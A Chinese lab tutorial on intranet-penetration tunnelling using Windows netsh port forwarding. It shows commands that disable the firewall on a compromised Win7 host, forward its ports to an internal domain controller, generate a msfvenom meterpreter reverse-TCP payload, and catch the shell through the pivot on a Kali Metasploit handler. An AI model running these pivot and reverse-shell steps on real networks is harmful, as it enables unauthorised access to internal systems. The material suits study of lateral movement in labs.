内网渗透隧道技术一netsh

隧道技术

百度百科:

网络隧道技术指的是利用一种网络协议来传输另一种网络协议,它主要利用网络隧道协议来实现这种功能。网络隧道技术涉及了三种网络协议,即网络隧道协议、隧道协议下面的承载协议和隧道协议所承载的被承载协议

在网络安全中隧道技术可以用于规避防火墙以及流量,加密网络流量以及内网穿透

端口映射

端口映射就是将内网主机的端口映射到公网的vps上,当访问公网IP的某个端口时会自动转发到内网的主机上面,和frp内网穿透比较相似

端口映射和端口转发

端口映射是将外网的一个端口完全映射内网的一个地址的指定端口,端口转发是将外网的一个端口的通信完全转发给内网一个地址的指定端口,端口映射可以实现外网到内网,内网到外网的双向通信,而转发只能实现外网到内网的单向通信

netsh端口转发

netsh是windows系统自带的一个命令行工具,这个工具可以实现端口转发,开启防火墙的情况下不行,所以先关闭防火墙

使用场景

假设我们有一个kali攻击机,已经拿到一个win7系统(出网)的shell,但是win2008域控在内网不出网,我们需要访问win7的某个端口就会自动转发到win2008中,将win7充当代理服务器,进而来访问win2008,实现这种操作可以在win7系统中执行端口转发的操作,这样我们访问win7的某个端口就会自动转发到win2008上面,就会实现对不出网域控的访问

netsh interface portproxy add v4tov4 listenport=绑定的端口 connectaddress=被攻击者服务器ip connectport=被攻击者服务端口netsh interface portproxy show all		#查看转发规则
#根据端口清除规则指定规则:
netsh interface portproxy delete v4tov4 listenport=7777#清除所有规则:
netsh interface portproxy reset

实验场景:

  • win7(已拿到shell):192.168.229.128 192.168.52.143
  • win2008:192.168.52.138 开放端口80
  • kali:192.168.229.129

关闭代理机的防火墙

netsh firewall set opmode mode = disable

在这里插入图片描述

在靶机的shell中执行添加规则

在这里插入图片描述

上面的命令会将win7系统的5555端口自动转发到win2008的80端口上面,此时kali访问192.168.229.128:5555就相当于访问192.168.52.138:80

在这里插入图片描述

netsh 配合msf反弹shell

msf 生成windows 反弹shell,反弹到代理机的8086端口上面

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.52.143 lport=8086 -f exe >8086.exe

代理机设置端口转发,将自身的8086端口映射到kali上的4444端口上

netsh interface portproxy add v4tov4 listenport=8086 connectaddress=192.168.229.129 connectport=4444

kali使用msf监听反弹shell

use exploit/multi/handler 
set payload windows/x64/meterpreter/reverse_tcp   #设置payload类型,就是和生成的一样
#设置主机地址
set lhost 192.168.229.128
#设置端口号
set lport 4444
#开启监听
run

在win2008中执行木马,kali msf上线

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/234225.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【bug篇】Tomcat一直报错,但是代码没问题

代码都没有问题&#xff0c;就是报404错误&#xff0c;原因竟然是版本不兼容&#xff0c;搞了我好长时间&#xff0c;简直麻了&#xff01;&#xff01;&#xff01; 因为我的Tomcat是11版本的&#xff0c;所以导入的servlet和jsp依赖应该是下面这些&#xff1a; <!-- Serv…

【C语言期末不挂科——指针进阶篇】【上】

C语言进阶篇【上】 文章目录 C语言进阶篇【上】字符指针数组指针数组传参和指针传参  数组传参  一级指针传参  二级指针传参 前言&#xff1a; 我们在指针初阶篇学习了&#xff1a; 1、指针就是个变量&#xff0c;用来存放地址&#xff0c;地址唯一标识一块空间。 2、指…

37.从0到上线三天搭建个人网站(第一天)

点赞收藏加关注&#xff0c;你也能住大别墅&#xff01; 挑战三天搭建个人网站 从0到上线 一、项目的主要功能 1.作为自己在网上的一个工作室。 2.发帖 3.展示个人项目连接 4.介绍自己&#xff08;没准儿还能接点活儿&#xff09; 二、UI风格参考 三、技术选型 1.前端&a…

Flask 实现Token认证机制

在Flask框架中&#xff0c;实现Token认证机制并不是一件复杂的事情。除了使用官方提供的flask_httpauth模块或者第三方模块flask-jwt&#xff0c;我们还可以考虑自己实现一个简易版的Token认证工具。自定义Token认证机制的本质是生成一个令牌&#xff08;Token&#xff09;&…

4.5-容器之间的link

我们在实际项目中可能会有种需求&#xff0c;假如我们有个后台项目&#xff0c;它要访问数据库&#xff0c;比如MySQL&#xff0c;它想要访问数据库&#xff0c;就需要数据库的ip和端口。如果有两个容器&#xff0c;一个容器启动的是数据库的MySQL服务&#xff0c;另一个容器启…

二叉树题目:祖父结点值为偶数的结点和

文章目录 题目标题和出处难度题目描述要求示例数据范围 解法一思路和算法代码复杂度分析 解法二思路和算法代码复杂度分析 题目 标题和出处 标题&#xff1a;祖父结点值为偶数的结点和 出处&#xff1a;1315. 祖父结点值为偶数的结点和 难度 5 级 题目描述 要求 给定二…

13:kotlin类和对象 -- 属性(Properties)

定义属性 类属性可使用var和val定义 class Address {var name: String "Holmes, Sherlock"var street: String "Baker"var city: String "London"var state: String? nullvar zip: String "123456" }属性使用 fun copyAddres…

【MySQL:从零开始练级】环境安装与基础认识

hello大家好&#xff0c;失踪人口回归&#xff0c;今天开始新专栏MySQL&#xff1a;从零开始练级,今天给大家分享MySQL的环境安装与基础认识&#xff0c;希望大家能有所学习收获。 目录 1️⃣ Centos 7环境下安装 2️⃣什么是数据库 3️⃣服务器、数据库、表关系 4️⃣MySQ…

轻盈未来:气膜建筑的绿色时尚

随着可持续发展理念的日益深入人心&#xff0c;建筑行业也在不断追求绿色、环保的设计与施工方案。气膜建筑&#xff0c;作为一种创新而轻盈的设计理念&#xff0c;正在走在绿色时尚的前沿。本文将探讨气膜建筑的独特之处以及其如何与环保理念相结合&#xff0c;领航着未来建筑…

Kubernetes(K8s)_15_CNI

Kubernetes&#xff08;K8s&#xff09;_15_CNI CNI网络模型UnderlayMAC VLANIP VLANDirect Route OverlayVXLAN CNI插件FlannelCalico CNI配置内置实现 CNI CNI(Container Network Interface): 实现容器网络连接的规范 Kubernetes将网络通信可分为: Pod内容器、Pod、Pod与Se…

动态:class和:style绑定

1. 在应用界面中, 某个(些)元素的样式是变化的 class/style绑定就是专门用来实现动态样式效果的技术 2. 动态class绑定 :class等号后的变量值 可以是字符串 :class等号后 可以是对象 :class等号后 可以是数组 3. 动态style绑定 :style"{ color: myPinkColor, fontS…

mybatis快速入门(基于Mapper接口编程)

1、准备数据模型&#xff0c;建库建表 CREATE DATABASE mybatis-example;USE mybatis-example;CREATE TABLE t_emp(emp_id INT AUTO_INCREMENT,emp_name CHAR(100),emp_salary DOUBLE(10,5),PRIMARY KEY(emp_id) );INSERT INTO t_emp(emp_name,emp_salary) VALUES("tom&qu…